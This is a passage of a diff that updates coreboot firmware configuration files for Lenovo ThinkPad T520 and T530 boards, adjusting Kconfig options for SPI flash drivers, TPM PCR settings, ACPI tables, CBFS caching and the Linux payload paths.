CONFIG_SOUTHBRIDGE_INTEL_COMMON_USB_DEBUG=y CONFIG_INTEL_DESCRIPTOR_MODE_CAPABLE=y @@ -380,8 +386,10 @@ CONFIG_ARCH_ROMSTAGE_X86_32=y CONFIG_ARCH_POSTCAR_X86_32=y CONFIG_ARCH_RAMSTAGE_X86_32=y CONFIG_ARCH_ALL_STAGES_X86_32=y +CONFIG_RESERVED_PHYSICAL_ADDRESS_BITS_SUPPORT=y CONFIG_X86_TOP4G_BOOTMEDIA_MAP=y -CONFIG_NUM_IPI_STARTS=2 +CONFIG_POSTRAM_CBFS_CACHE_IN_BSS=y +CONFIG_RAMSTAGE_CBFS_CACHE_SIZE=0x4000 CONFIG_PC80_SYSTEM=y CONFIG_HAVE_CMOS_DEFAULT=y CONFIG_POSTCAR_STAGE=y @@ -391,6 +399,7 @@ CONFIG_COLLECT_TIMESTAMPS_TSC=y CONFIG_HAVE_CF9_RESET=y CONFIG_DEBUG_HW_BREAKPOINTS=y CONFIG_DEBUG_NULL_DEREF_BREAKPOINTS=y +# CONFIG_DUMP_SMBIOS_TYPE17 is not set # end of Chipset # @@ -416,8 +425,7 @@ CONFIG_BOOTSPLASH=y CONFIG_PCI=y CONFIG_ECAM_MMCONF_SUPPORT=y CONFIG_PCIX_PLUGIN_SUPPORT=y -CONFIG_CARDBUS_PLUGIN_SUPPORT=y -CONFIG_AZALIA_PLUGIN_SUPPORT=y +CONFIG_AZALIA_HDA_CODEC_SUPPORT=y CONFIG_PCIEXP_PLUGIN_SUPPORT=y CONFIG_ECAM_MMCONF_LENGTH=0x04000000 CONFIG_PCI_ALLOW_BUS_MASTER=y @@ -435,10 +443,6 @@ CONFIG_INTEL_GMA_ADD_VBT=y # CONFIG_SOFTWARE_I2C is not set CONFIG_I2C_TRANSFER_TIMEOUT_US=500000 # CONFIG_RESOURCE_ALLOCATION_TOP_DOWN is not set -CONFIG_NO_DDR5=y -CONFIG_NO_LPDDR4=y -CONFIG_NO_DDR4=y -CONFIG_NO_DDR2=y CONFIG_USE_DDR3=y # end of Devices @@ -458,11 +462,9 @@ CONFIG_SPI_FLASH_ADESTO=y CONFIG_SPI_FLASH_AMIC=y CONFIG_SPI_FLASH_ATMEL=y CONFIG_SPI_FLASH_EON=y -CONFIG_SPI_FLASH_GIGADEVICE=y CONFIG_SPI_FLASH_MACRONIX=y CONFIG_SPI_FLASH_SPANSION=y CONFIG_SPI_FLASH_SST=y -CONFIG_SPI_FLASH_STMICRO=y CONFIG_HAVE_EM100PRO_SPI_CONSOLE_SUPPORT=y CONFIG_TPM_INIT_RAMSTAGE=y # CONFIG_TPM_PPI is not set @@ -481,9 +483,11 @@ CONFIG_HAVE_USBDEBUG_OPTIONS=y CONFIG_INTEL_DDI=y CONFIG_INTEL_INT15=y CONFIG_INTEL_GMA_ACPI=y +CONFIG_VBT_CBFS_COMPRESSION_LZMA=y +# CONFIG_VBT_CBFS_COMPRESSION_LZ4 is not set +# CONFIG_VBT_CBFS_COMPRESSION_NONE is not set +CONFIG_VBT_CBFS_COMPRESSION_ALGORITHM="lzma" CONFIG_GFX_GMA=y -CONFIG_GFX_GMA_PANEL_1_ON_EDP=y -CONFIG_INTEL_GMA_OPREGION_2_0=y CONFIG_GFX_GMA_DYN_CPU=y CONFIG_GFX_GMA_GENERATION="Haswell" CONFIG_GFX_GMA_PCH="Lynx_Point" @@ -493,6 +497,7 @@ CONFIG_GFX_GMA_ANALOG_I2C_PORT="PCH_DAC" # CONFIG_DRIVERS_PS2_KEYBOARD is not set CONFIG_DRIVERS_MC146818=y CONFIG_USE_PC_CMOS_ALTCENTURY=y +CONFIG_PC_CMOS_BASE_PORT_BANK0=0x70 CONFIG_MEMORY_MAPPED_TPM=y CONFIG_TPM_TIS_BASE_ADDRESS=0xfed40000 # CONFIG_DRIVERS_SIL_3114 is not set @@ -526,7 +531,12 @@ CONFIG_MAINBOARD_HAS_TPM1=y # CONFIG_DEBUG_TPM is not set # CONFIG_TPM_RDRESP_NEED_DELAY is not set CONFIG_TPM_LOG_CB=y +# CONFIG_TPM_LOG_TPM1 is not set CONFIG_TPM_MEASURED_BOOT_RUNTIME_DATA="" +CONFIG_PCR_BOOT_MODE=1 +CONFIG_PCR_HWID=1 +CONFIG_PCR_SRTM=2 +CONFIG_PCR_RUNTIME_DATA=3 # end of Trusted Platform Module # @@ -550,6 +560,9 @@ CONFIG_BOOTMEDIA_LOCK_WHOLE_RO=y CONFIG_ACPI_HAVE_PCAT_8259=y CONFIG_ACPI_INTEL_HARDWARE_SLEEP_VALUES=y CONFIG_ACPI_SOC_NVS=y +CONFIG_ACPI_NO_CUSTOM_MADT=y +CONFIG_ACPI_COMMON_MADT_LAPIC=y +CONFIG_ACPI_COMMON_MADT_IOAPIC=y CONFIG_HAVE_ACPI_TABLES=y CONFIG_BOOT_DEVICE_SPI_FLASH=y CONFIG_BOOT_DEVICE_MEMORY_MAPPED=y @@ -595,6 +608,7 @@ CONFIG_USE_WATCHDOG_ON_BOOT=y # System tables # CONFIG_GENERATE_SMBIOS_TABLES=y +CONFIG_BIOS_VENDOR="coreboot" CONFIG_MAINBOARD_SERIAL_NUMBER="123456789" # end of System tables @@ -610,13 +624,12 @@ CONFIG_MAINBOARD_SERIAL_NUMBER="123456789" # CONFIG_PAYLOAD_LINUXBOOT is not set # CONFIG_PAYLOAD_SEABIOS is not set # CONFIG_PAYLOAD_UBOOT is not set -# CONFIG_PAYLOAD_YABITS is not set # CONFIG_PAYLOAD_EDK2 is not set CONFIG_PAYLOAD_LINUX=y CONFIG_PAYLOAD_FILE="@BOARD_BUILD_DIR@/bzImage" -CONFIG_LINUX_INITRD="@BOARD_BUILD_DIR@/initrd.cpio.xz" CONFIG_PAYLOAD_OPTIONS="" # CONFIG_PXE is not set +CONFIG_LINUX_INITRD="@BOARD_BUILD_DIR@/initrd.cpio.xz" CONFIG_COMPRESS_SECONDARY_PAYLOAD=y # @@ -641,6 +654,10 @@ CONFIG_COMPRESS_SECONDARY_PAYLOAD=y # # CONFIG_DISPLAY_MTRRS is not set +# +# Vendorcode Debug Settings +# + # # BLOB Debug Settings # @@ -652,7 +669,6 @@ CONFIG_COMPRESS_SECONDARY_PAYLOAD=y # CONFIG_DEBUG_CBFS is not set CONFIG_HAVE_DEBUG_SMBUS=y # CONFIG_DEBUG_SMBUS is not set -# CONFIG_DEBUG_SMI is not set # CONFIG_DEBUG_MALLOC is not set # CONFIG_DEBUG_CONSOLE_INIT is not set # CONFIG_DEBUG_SPI_FLASH is not set @@ -660,6 +676,7 @@ CONFIG_HAVE_DEBUG_SMBUS=y # CONFIG_DEBUG_ADA_CODE is not set CONFIG_HAVE_EM100_SUPPORT=y # CONFIG_EM100 is not set +# CONFIG_DEBUG_ACPICA_COMPATIBLE is not set # end of Debugging CONFIG_RAMSTAGE_ADA=y diff --git a/config/coreboot-t520-maximized.config b/config/coreboot-t520-maximized.config index 0e8257484..25a874a5e 100644 --- a/config/coreboot-t520-maximized.config +++ b/config/coreboot-t520-maximized.config @@ -21,6 +21,7 @@ CONFIG_OPTION_BACKEND_NONE=y # CONFIG_USE_OPTION_TABLE is not set CONFIG_COMPRESS_RAMSTAGE_LZMA=y # CONFIG_COMPRESS_RAMSTAGE_LZ4 is not set +CONFIG_SEPARATE_ROMSTAGE=y # CONFIG_INCLUDE_CONFIG_FILE is not set # CONFIG_COLLECT_TIMESTAMPS is not set CONFIG_USE_BLOBS=y @@ -65,6 +66,7 @@ CONFIG_BOOTSPLASH_CONVERT_QUALITY=70 # CONFIG_VENDOR_ASUS is not set # CONFIG_VENDOR_BIOSTAR is not set # CONFIG_VENDOR_BOSTENTECH is not set +# CONFIG_VENDOR_BYTEDANCE is not set # CONFIG_VENDOR_CAVIUM is not set # CONFIG_VENDOR_CLEVO is not set # CONFIG_VENDOR_COMPULAB is not set @@ -78,7 +80,9 @@ CONFIG_BOOTSPLASH_CONVERT_QUALITY=70 # CONFIG_VENDOR_GOOGLE is not set # CONFIG_VENDOR_HP is not set # CONFIG_VENDOR_IBASE is not set +# CONFIG_VENDOR_IBM is not set # CONFIG_VENDOR_INTEL is not set +# CONFIG_VENDOR_INVENTEC is not set # CONFIG_VENDOR_KONTRON is not set CONFIG_VENDOR_LENOVO=y # CONFIG_VENDOR_LIBRETREND is not set @@ -96,7 +100,6 @@ CONFIG_VENDOR_LENOVO=y # CONFIG_VENDOR_RODA is not set # CONFIG_VENDOR_SAMSUNG is not set # CONFIG_VENDOR_SAPPHIRE is not set -# CONFIG_VENDOR_SCALEWAY is not set # CONFIG_VENDOR_SIEMENS is not set # CONFIG_VENDOR_SIFIVE is not set # CONFIG_VENDOR_STARLABS is not set @@ -121,7 +124,6 @@ CONFIG_MAX_CPUS=8 CONFIG_ONBOARD_VGA_IS_PRIMARY=y CONFIG_DEVICETREE="devicetree.cb" # CONFIG_VBOOT is not set -CONFIG_VBOOT_VBNV_OFFSET=0x2a CONFIG_VARIANT_DIR="t520" CONFIG_OVERRIDE_DEVICETREE="variants/$(CONFIG_VARIANT_DIR)/overridetree.cb" # CONFIG_VGA_BIOS is not set @@ -134,14 +136,14 @@ CONFIG_CMOS_LAYOUT_FILE="src/mainboard/$(MAINBOARDDIR)/cmos.layout" CONFIG_USBDEBUG_HCD_INDEX=2 CONFIG_BOOT_DEVICE_SPI_FLASH_BUS=0 CONFIG_TPM_PIRQ=0x0 +CONFIG_ECAM_MMCONF_BASE_ADDRESS=0xf0000000 +CONFIG_ECAM_MMCONF_BUS_NUMBER=64 CONFIG_MEMLAYOUT_LD_FILE="src/arch/x86/memlayout.ld" CONFIG_VBOOT_SLOTS_RW_A=y CONFIG_DCACHE_RAM_BASE=0xfefe0000 CONFIG_DCACHE_RAM_SIZE=0x20000 CONFIG_C_ENV_BOOTBLOCK_SIZE=0x40000 CONFIG_DCACHE_BSP_STACK_SIZE=0x10000 -CONFIG_ECAM_MMCONF_BASE_ADDRESS=0xf0000000 -CONFIG_ECAM_MMCONF_BUS_NUMBER=64 CONFIG_MAX_ACPI_TABLE_SIZE_KB=144 CONFIG_HAVE_INTEL_FIRMWARE=y CONFIG_MRC_SETTINGS_CACHE_SIZE=0x10000 @@ -152,6 +154,10 @@ CONFIG_IFD_BIN_PATH="@BLOB_DIR@/xx20/ifd.bin" CONFIG_ME_BIN_PATH="@BLOB_DIR@/xx20/me.bin" CONFIG_GBE_BIN_PATH="@BLOB_DIR@/xx20/gbe.bin" CONFIG_CONSOLE_CBMEM_BUFFER_SIZE=0x80000 +CONFIG_CARDBUS_PLUGIN_SUPPORT=y +CONFIG_SPI_FLASH_GIGADEVICE=y +CONFIG_SPI_FLASH_STMICRO=y +# CONFIG_DEBUG_SMI is not set CONFIG_MAINBOARD_SMBIOS_PRODUCT_NAME="ThinkPad T520" CONFIG_HAVE_IFD_BIN=y CONFIG_PCIEXP_HOTPLUG_BUSES=8 @@ -199,9 +205,12 @@ CONFIG_PS2M_EISAID="LEN0015" CONFIG_THINKPADEC_HKEY_EISAID="LEN0068" CONFIG_GFX_GMA_PANEL_1_PORT="LVDS" CONFIG_BOARD_LENOVO_BASEBOARD_T520=y +CONFIG_D3COLD_SUPPORT=y +CONFIG_PCIEXP_ASPM=y # CONFIG_PCIEXP_L1_SUB_STATE is not set # CONFIG_PCIEXP_CLK_PM is not set # CONFIG_DRIVERS_UART_8250IO is not set +CONFIG_PC_CMOS_BASE_PORT_BANK1=0x72 CONFIG_HEAP_SIZE=0x4000 CONFIG_EC_GPE_SCI=0x50 # CONFIG_TPM_MEASURED_BOOT is not set @@ -246,27 +255,27 @@ CONFIG_VERSTAGE_ADDR=0x2000000 CONFIG_SMM_TSEG_SIZE=0x800000 CONFIG_SMM_RESERVED_SIZE=0x100000 CONFIG_SMM_MODULE_STACK_SIZE=0x400 +# CONFIG_USE_EXP_X86_64_SUPPORT is not set CONFIG_SERIRQ_CONTINUOUS_MODE=y -CONFIG_ACPI_CPU_STRING="\\_SB.CP%02X" +CONFIG_PRERAM_CBFS_CACHE_SIZE=0x0 CONFIG_EHCI_BAR=0xfef00000 +CONFIG_ACPI_CPU_STRING="CP%02X" CONFIG_STACK_SIZE=0x2000 -CONFIG_CPU_SPECIFIC_OPTIONS=y CONFIG_IED_REGION_SIZE=0x400000 -CONFIG_VBT_DATA_SIZE_KB=8 CONFIG_INTEL_GMA_BCLV_OFFSET=0x48254 CONFIG_INTEL_GMA_BCLV_WIDTH=16 CONFIG_INTEL_GMA_BCLM_OFFSET=0xc8256 CONFIG_INTEL_GMA_BCLM_WIDTH=16 CONFIG_BOOTBLOCK_IN_CBFS=y CONFIG_DCACHE_RAM_MRC_VAR_SIZE=0x0 +CONFIG_HPET_MIN_TICKS=0x80 CONFIG_FIXED_MCHBAR_MMIO_BASE=0xfed10000 CONFIG_FIXED_DMIBAR_MMIO_BASE=0xfed18000 CONFIG_FIXED_EPBAR_MMIO_BASE=0xfed19000 -CONFIG_PCIEXP_ASPM=y CONFIG_PCIEXP_COMMON_CLOCK=y -CONFIG_HPET_MIN_TICKS=0x80 -CONFIG_CBFS_CACHE_ALIGN=8 CONFIG_FIXED_SMBUS_IO_BASE=0x400 +CONFIG_CBFS_CACHE_ALIGN=8 +CONFIG_DOMAIN_RESOURCE_32BIT_LIMIT=0xfe000000 # # CPU @@ -287,12 +296,11 @@ CONFIG_XAPIC_ONLY=y CONFIG_UDELAY_TSC=y CONFIG_TSC_MONOTONIC_TIMER=y CONFIG_TSC_SYNC_MFENCE=y -CONFIG_LOGICAL_CPUS=y CONFIG_HAVE_SMI_HANDLER=y CONFIG_SMM_TSEG=y +CONFIG_SMM_PCI_RESOURCE_STORE_NUM_SLOTS=8 CONFIG_AP_STACK_SIZE=0x800 CONFIG_SMP=y -CONFIG_MMX=y CONFIG_SSE=y CONFIG_SSE2=y CONFIG_SUPPORT_CPU_UCODE_IN_CBFS=y @@ -335,7 +343,6 @@ CONFIG_SOUTHBRIDGE_INTEL_COMMON_PIRQ_ACPI_GEN=y CONFIG_SOUTHBRIDGE_INTEL_COMMON_RCBA_PIRQ=y CONFIG_HAVE_INTEL_CHIPSET_LOCKDOWN=y CONFIG_SOUTHBRIDGE_INTEL_COMMON_SMM=y -CONFIG_SOUTHBRIDGE_INTEL_COMMON_ACPI_MADT=y CONFIG_SOUTHBRIDGE_INTEL_COMMON_FINALIZE=y CONFIG_SOUTHBRIDGE_INTEL_COMMON_USB_DEBUG=y CONFIG_INTEL_DESCRIPTOR_MODE_CAPABLE=y @@ -383,9 +390,10 @@ CONFIG_ARCH_POSTCAR_X86_32=y CONFIG_ARCH_RAMSTAGE_X86_32=y CONFIG_ARCH_ALL_STAGES_X86_32=y CONFIG_HAVE_EXP_X86_64_SUPPORT=y -# CONFIG_USE_EXP_X86_64_SUPPORT is not set +CONFIG_RESERVED_PHYSICAL_ADDRESS_BITS_SUPPORT=y CONFIG_X86_TOP4G_BOOTMEDIA_MAP=y -CONFIG_NUM_IPI_STARTS=2 +CONFIG_POSTRAM_CBFS_CACHE_IN_BSS=y +CONFIG_RAMSTAGE_CBFS_CACHE_SIZE=0x4000 CONFIG_PC80_SYSTEM=y CONFIG_HAVE_CMOS_DEFAULT=y CONFIG_POSTCAR_STAGE=y @@ -394,6 +402,7 @@ CONFIG_BOOTBLOCK_SIMPLE=y CONFIG_HAVE_CF9_RESET=y CONFIG_DEBUG_HW_BREAKPOINTS=y CONFIG_DEBUG_NULL_DEREF_BREAKPOINTS=y +# CONFIG_DUMP_SMBIOS_TYPE17 is not set # end of Chipset # @@ -419,8 +428,7 @@ CONFIG_BOOTSPLASH=y CONFIG_PCI=y CONFIG_ECAM_MMCONF_SUPPORT=y CONFIG_PCIX_PLUGIN_SUPPORT=y -CONFIG_CARDBUS_PLUGIN_SUPPORT=y -CONFIG_AZALIA_PLUGIN_SUPPORT=y +CONFIG_AZALIA_HDA_CODEC_SUPPORT=y CONFIG_PCIEXP_PLUGIN_SUPPORT=y CONFIG_ECAM_MMCONF_LENGTH=0x04000000 CONFIG_PCI_ALLOW_BUS_MASTER=y @@ -441,10 +449,6 @@ CONFIG_INTEL_GMA_ADD_VBT=y # CONFIG_SOFTWARE_I2C is not set CONFIG_I2C_TRANSFER_TIMEOUT_US=500000 # CONFIG_RESOURCE_ALLOCATION_TOP_DOWN is not set -CONFIG_NO_DDR5=y -CONFIG_NO_LPDDR4=y -CONFIG_NO_DDR4=y -CONFIG_NO_DDR2=y CONFIG_USE_DDR3=y # end of Devices @@ -455,21 +459,18 @@ CONFIG_CRB_TPM_BASE_ADDRESS=0xfed40000 # CONFIG_ELOG is not set CONFIG_CACHE_MRC_SETTINGS=y # CONFIG_MRC_SETTINGS_PROTECT is not set -CONFIG_MRC_STASH_TO_CBMEM=y # CONFIG_SMMSTORE is not set CONFIG_SPI_FLASH=y CONFIG_BOOT_DEVICE_SPI_FLASH_RW_NOMMAP=y -CONFIG_BOOT_DEVICE_SPI_FLASH_NO_EARLY_WRITES=y +CONFIG_BOOT_DEVICE_SPI_FLASH_RW_NOMMAP_EARLY=y # CONFIG_SPI_FLASH_NO_FAST_READ is not set CONFIG_SPI_FLASH_ADESTO=y CONFIG_SPI_FLASH_AMIC=y CONFIG_SPI_FLASH_ATMEL=y CONFIG_SPI_FLASH_EON=y -CONFIG_SPI_FLASH_GIGADEVICE=y CONFIG_SPI_FLASH_MACRONIX=y CONFIG_SPI_FLASH_SPANSION=y CONFIG_SPI_FLASH_SST=y -CONFIG_SPI_FLASH_STMICRO=y CONFIG_TPM_INIT_RAMSTAGE=y # CONFIG_TPM_PPI is not set CONFIG_NO_UART_ON_SUPERIO=y @@ -486,9 +487,12 @@ CONFIG_HAVE_USBDEBUG_OPTIONS=y # CONFIG_DRIVERS_I2C_MAX98396 is not set CONFIG_INTEL_INT15=y CONFIG_INTEL_GMA_ACPI=y +CONFIG_VBT_CBFS_COMPRESSION_LZMA=y +# CONFIG_VBT_CBFS_COMPRESSION_LZ4 is not set +# CONFIG_VBT_CBFS_COMPRESSION_NONE is not set +CONFIG_VBT_CBFS_COMPRESSION_ALGORITHM="lzma" CONFIG_GFX_GMA=y CONFIG_GFX_GMA_PANEL_1_ON_LVDS=y -CONFIG_INTEL_GMA_OPREGION_2_0=y CONFIG_GFX_GMA_DYN_CPU=y CONFIG_GFX_GMA_GENERATION="Ironlake" CONFIG_GFX_GMA_PCH="Cougar_Point" @@ -499,6 +503,7 @@ CONFIG_DRIVERS_LENOVO_HYBRID_GRAPHICS=y CONFIG_DRIVERS_PS2_KEYBOARD=y CONFIG_DRIVERS_MC146818=y CONFIG_USE_PC_CMOS_ALTCENTURY=y +CONFIG_PC_CMOS_BASE_PORT_BANK0=0x70 CONFIG_MEMORY_MAPPED_TPM=y CONFIG_TPM_TIS_BASE_ADDRESS=0xfed40000 # CONFIG_DRIVERS_SIL_3114 is not set @@ -530,6 +535,10 @@ CONFIG_MAINBOARD_HAS_TPM1=y # CONFIG_TPM_DEACTIVATE is not set # CONFIG_DEBUG_TPM is not set # CONFIG_TPM_RDRESP_NEED_DELAY is not set +CONFIG_PCR_BOOT_MODE=1 +CONFIG_PCR_HWID=1 +CONFIG_PCR_SRTM=2 +CONFIG_PCR_RUNTIME_DATA=3 # end of Trusted Platform Module # @@ -552,6 +561,9 @@ CONFIG_BOOTMEDIA_LOCK_WHOLE_RO=y CONFIG_ACPI_HAVE_PCAT_8259=y CONFIG_ACPI_INTEL_HARDWARE_SLEEP_VALUES=y CONFIG_ACPI_SOC_NVS=y +CONFIG_ACPI_NO_CUSTOM_MADT=y +CONFIG_ACPI_COMMON_MADT_LAPIC=y +CONFIG_ACPI_COMMON_MADT_IOAPIC=y CONFIG_HAVE_ACPI_TABLES=y CONFIG_BOOT_DEVICE_SPI_FLASH=y CONFIG_BOOT_DEVICE_MEMORY_MAPPED=y @@ -597,6 +609,7 @@ CONFIG_USE_WATCHDOG_ON_BOOT=y # CONFIG_GENERATE_SMBIOS_TABLES=y CONFIG_SMBIOS_PROVIDED_BY_MOBO=y +CONFIG_BIOS_VENDOR="coreboot" CONFIG_MAINBOARD_SERIAL_NUMBER="123456789" # end of System tables @@ -612,13 +625,12 @@ CONFIG_MAINBOARD_SERIAL_NUMBER="123456789" # CONFIG_PAYLOAD_LINUXBOOT is not set # CONFIG_PAYLOAD_SEABIOS is not set # CONFIG_PAYLOAD_UBOOT is not set -# CONFIG_PAYLOAD_YABITS is not set # CONFIG_PAYLOAD_EDK2 is not set CONFIG_PAYLOAD_LINUX=y CONFIG_PAYLOAD_FILE="@BOARD_BUILD_DIR@/bzImage" -CONFIG_LINUX_INITRD="@BOARD_BUILD_DIR@/initrd.cpio.xz" CONFIG_PAYLOAD_OPTIONS="" # CONFIG_PXE is not set +CONFIG_LINUX_INITRD="@BOARD_BUILD_DIR@/initrd.cpio.xz" CONFIG_COMPRESS_SECONDARY_PAYLOAD=y # @@ -643,6 +655,10 @@ CONFIG_COMPRESS_SECONDARY_PAYLOAD=y # # CONFIG_DISPLAY_MTRRS is not set +# +# Vendorcode Debug Settings +# + # # BLOB Debug Settings # @@ -656,13 +672,13 @@ CONFIG_HAVE_DEBUG_RAM_SETUP=y # CONFIG_DEBUG_RAM_SETUP is not set CONFIG_HAVE_DEBUG_SMBUS=y # CONFIG_DEBUG_SMBUS is not set -# CONFIG_DEBUG_SMI is not set # CONFIG_DEBUG_CONSOLE_INIT is not set # CONFIG_DEBUG_SPI_FLASH is not set # CONFIG_DEBUG_BOOT_STATE is not set # CONFIG_DEBUG_ADA_CODE is not set CONFIG_HAVE_EM100_SUPPORT=y # CONFIG_EM100 is not set +# CONFIG_DEBUG_ACPICA_COMPATIBLE is not set # end of Debugging CONFIG_RAMSTAGE_ADA=y diff --git a/config/coreboot-t530-dgpu-maximized.config b/config/coreboot-t530-dgpu-maximized.config index cd2dfa2ca..eccd79a03 100644 --- a/config/coreboot-t530-dgpu-maximized.config +++ b/config/coreboot-t530-dgpu-maximized.config @@ -22,6 +22,7 @@ CONFIG_USE_OPTION_TABLE=y CONFIG_STATIC_OPTION_TABLE=y CONFIG_COMPRESS_RAMSTAGE_LZMA=y # CONFIG_COMPRESS_RAMSTAGE_LZ4 is not set +CONFIG_SEPARATE_ROMSTAGE=y CONFIG_INCLUDE_CONFIG_FILE=y CONFIG_COLLECT_TIMESTAMPS=y # CONFIG_TIMESTAMPS_ON_CONSOLE is not set @@ -67,6 +68,7 @@ CONFIG_BOOTSPLASH_CONVERT_QUALITY=70 # CONFIG_VENDOR_ASUS is not set # CONFIG_VENDOR_BIOSTAR is not set # CONFIG_VENDOR_BOSTENTECH is not set +# CONFIG_VENDOR_BYTEDANCE is not set # CONFIG_VENDOR_CAVIUM is not set # CONFIG_VENDOR_CLEVO is not set # CONFIG_VENDOR_COMPULAB is not set @@ -80,7 +82,9 @@ CONFIG_BOOTSPLASH_CONVERT_QUALITY=70 # CONFIG_VENDOR_GOOGLE is not set # CONFIG_VENDOR_HP is not set # CONFIG_VENDOR_IBASE is not set +# CONFIG_VENDOR_IBM is not set # CONFIG_VENDOR_INTEL is not set +# CONFIG_VENDOR_INVENTEC is not set # CONFIG_VENDOR_KONTRON is not set CONFIG_VENDOR_LENOVO=y # CONFIG_VENDOR_LIBRETREND is not set @@ -98,7 +102,6 @@ CONFIG_VENDOR_LENOVO=y # CONFIG_VENDOR_RODA is not set # CONFIG_VENDOR_SAMSUNG is not set # CONFIG_VENDOR_SAPPHIRE is not set -# CONFIG_VENDOR_SCALEWAY is not set # CONFIG_VENDOR_SIEMENS is not set # CONFIG_VENDOR_SIFIVE is not set # CONFIG_VENDOR_STARLABS is not set @@ -123,7 +126,6 @@ CONFIG_VGA_BIOS_DGPU_ID="10de,0def" CONFIG_VGA_BIOS_DGPU_FILE="@BLOB_DIR@/xx30/10de,0def.rom" CONFIG_DEVICETREE="devicetree.cb" # CONFIG_VBOOT is not set -CONFIG_VBOOT_VBNV_OFFSET=0x2a CONFIG_VARIANT_DIR="t530" CONFIG_OVERRIDE_DEVICETREE="variants/$(CONFIG_VARIANT_DIR)/overridetree.cb" CONFIG_VGA_BIOS=y @@ -136,13 +138,13 @@ CONFIG_CMOS_LAYOUT_FILE="src/mainboard/$(MAINBOARDDIR)/cmos.layout" CONFIG_USBDEBUG_HCD_INDEX=2 CONFIG_BOOT_DEVICE_SPI_FLASH_BUS=0 CONFIG_TPM_PIRQ=0x0 +CONFIG_ECAM_MMCONF_BASE_ADDRESS=0xf0000000 +CONFIG_ECAM_MMCONF_BUS_NUMBER=64 CONFIG_MEMLAYOUT_LD_FILE="src/arch/x86/memlayout.ld" CONFIG_DCACHE_RAM_BASE=0xfefe0000 CONFIG_DCACHE_RAM_SIZE=0x20000 CONFIG_C_ENV_BOOTBLOCK_SIZE=0x40000 CONFIG_DCACHE_BSP_STACK_SIZE=0x10000 -CONFIG_ECAM_MMCONF_BASE_ADDRESS=0xf0000000 -CONFIG_ECAM_MMCONF_BUS_NUMBER=64 CONFIG_MAX_ACPI_TABLE_SIZE_KB=144 CONFIG_HAVE_INTEL_FIRMWARE=y CONFIG_MRC_SETTINGS_CACHE_SIZE=0x10000 @@ -154,6 +156,10 @@ CONFIG_ME_BIN_PATH="@BLOB_DIR@/xx30/me.bin" CONFIG_GBE_BIN_PATH="@BLOB_DIR@/xx30/gbe.bin" CONFIG_CONSOLE_CBMEM_BUFFER_SIZE=0x80000 CONFIG_VGA_BIOS_FILE="@BLOB_DIR@/xx30/8086,0106.rom" +CONFIG_CARDBUS_PLUGIN_SUPPORT=y +CONFIG_SPI_FLASH_GIGADEVICE=y +CONFIG_SPI_FLASH_STMICRO=y +# CONFIG_DEBUG_SMI is not set CONFIG_MAINBOARD_SMBIOS_PRODUCT_NAME="ThinkPad T530" CONFIG_HAVE_IFD_BIN=y CONFIG_PCIEXP_HOTPLUG_BUSES=8 @@ -201,10 +207,13 @@ CONFIG_PS2K_EISAID="LEN0071" CONFIG_PS2M_EISAID="LEN0015" CONFIG_THINKPADEC_HKEY_EISAID="LEN0068" CONFIG_BOARD_LENOVO_BASEBOARD_T530=y +CONFIG_D3COLD_SUPPORT=y +CONFIG_PCIEXP_ASPM=y # CONFIG_PCIEXP_L1_SUB_STATE is not set # CONFIG_PCIEXP_CLK_PM is not set # CONFIG_DRIVERS_UART_8250IO is not set CONFIG_PRE_GRAPHICS_DELAY_MS=0 +CONFIG_PC_CMOS_BASE_PORT_BANK1=0x72 CONFIG_HEAP_SIZE=0x4000 CONFIG_EC_GPE_SCI=0x50 CONFIG_TPM_MEASURED_BOOT=y @@ -249,29 +258,29 @@ CONFIG_VERSTAGE_ADDR=0x2000000 CONFIG_SMM_TSEG_SIZE=0x800000 CONFIG_SMM_RESERVED_SIZE=0x100000 CONFIG_SMM_MODULE_STACK_SIZE=0x400 +# CONFIG_USE_EXP_X86_64_SUPPORT is not set # CONFIG_VGA_BIOS_SECOND is not set CONFIG_S3_VGA_ROM_RUN=y CONFIG_SERIRQ_CONTINUOUS_MODE=y -CONFIG_ACPI_CPU_STRING="\\_SB.CP%02X" +CONFIG_PRERAM_CBFS_CACHE_SIZE=0x0 CONFIG_EHCI_BAR=0xfef00000 +CONFIG_ACPI_CPU_STRING="CP%02X" CONFIG_STACK_SIZE=0x2000 -CONFIG_CPU_SPECIFIC_OPTIONS=y CONFIG_IED_REGION_SIZE=0x400000 -CONFIG_VBT_DATA_SIZE_KB=8 CONFIG_INTEL_GMA_BCLV_OFFSET=0x48254 CONFIG_INTEL_GMA_BCLV_WIDTH=16 CONFIG_INTEL_GMA_BCLM_OFFSET=0xc8256 CONFIG_INTEL_GMA_BCLM_WIDTH=16 CONFIG_BOOTBLOCK_IN_CBFS=y CONFIG_DCACHE_RAM_MRC_VAR_SIZE=0x0 +CONFIG_HPET_MIN_TICKS=0x80 CONFIG_FIXED_MCHBAR_MMIO_BASE=0xfed10000 CONFIG_FIXED_DMIBAR_MMIO_BASE=0xfed18000 CONFIG_FIXED_EPBAR_MMIO_BASE=0xfed19000 -CONFIG_PCIEXP_ASPM=y CONFIG_PCIEXP_COMMON_CLOCK=y -CONFIG_HPET_MIN_TICKS=0x80 -CONFIG_CBFS_CACHE_ALIGN=8 CONFIG_FIXED_SMBUS_IO_BASE=0x400 +CONFIG_CBFS_CACHE_ALIGN=8 +CONFIG_DOMAIN_RESOURCE_32BIT_LIMIT=0xfe000000 # # CPU @@ -292,12 +301,11 @@ CONFIG_XAPIC_ONLY=y CONFIG_UDELAY_TSC=y CONFIG_TSC_MONOTONIC_TIMER=y CONFIG_TSC_SYNC_MFENCE=y -CONFIG_LOGICAL_CPUS=y CONFIG_HAVE_SMI_HANDLER=y CONFIG_SMM_TSEG=y +CONFIG_SMM_PCI_RESOURCE_STORE_NUM_SLOTS=8 CONFIG_AP_STACK_SIZE=0x800 CONFIG_SMP=y -CONFIG_MMX=y CONFIG_SSE=y CONFIG_SSE2=y CONFIG_SUPPORT_CPU_UCODE_IN_CBFS=y @@ -340,7 +348,6 @@ CONFIG_SOUTHBRIDGE_INTEL_COMMON_PIRQ_ACPI_GEN=y CONFIG_SOUTHBRIDGE_INTEL_COMMON_RCBA_PIRQ=y CONFIG_HAVE_INTEL_CHIPSET_LOCKDOWN=y CONFIG_SOUTHBRIDGE_INTEL_COMMON_SMM=y -CONFIG_SOUTHBRIDGE_INTEL_COMMON_ACPI_MADT=y CONFIG_SOUTHBRIDGE_INTEL_COMMON_FINALIZE=y CONFIG_SOUTHBRIDGE_INTEL_COMMON_USB_DEBUG=y CONFIG_INTEL_DESCRIPTOR_MODE_CAPABLE=y @@ -388,9 +395,10 @@ CONFIG_ARCH_POSTCAR_X86_32=y CONFIG_ARCH_RAMSTAGE_X86_32=y 